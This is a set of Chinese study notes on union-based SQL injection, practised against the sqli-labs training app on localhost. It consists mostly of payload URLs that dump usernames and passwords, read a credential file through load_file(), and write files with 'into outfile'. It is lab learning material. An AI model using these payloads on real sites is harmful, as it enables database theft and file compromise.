目录
- use information_schema;
- select * from SCHEMATA;
- select table_name from TABLES;
- select column_name from COLUMNS;
环境:win10虚拟机,sqli-labs,phpstudy
/?id=-1 union select 1,2,3
Your Login name:2
Your Password:3
1,version(),database()
数据库版本,数据库名字
- union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
- union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
- union select 1,2,(select group_concat(username,password) from users)
?id=-1%20union%20select%201,user(),3
?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='my_data'
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dept'
查询字段下面的信息
?id=-1%20union%20select%20name,deptno,name%20from%20my_data.dept
查看my.ini下面的secure_file_priv时。
secure_file_priv=
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/phpstudy/mysql/data
代表只能对该路径下文件进行读写
show global variables like '%secure%';
此时修改完 my.ini文件的配置后发现仍然为NULL,此时只需要重启mysql就行,打开管理员权限的cmd,然后执行下面的命令
- net stop mysql
- net start mysql
读取文件
使用函数: load_file()
注意:/=\\
?id=-1%20union%20select%201,load_file(%27d:/d.txt%27),3
http://localhost:8089/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\sql-connections\\db-creds.inc%27),3
报错路径,常见路径,遗留文件,漏洞报错,平台配置文件
函数:into outfile(可写入多行,按照格式输出)和into Dumpfile(只能写入一行,且没有输出)
http://localhost:8089/Less-2/?id=-1%20union%20select%201,%27coleak%27,3%20into%20outfile%20%27d:/d2.txt%27%20--+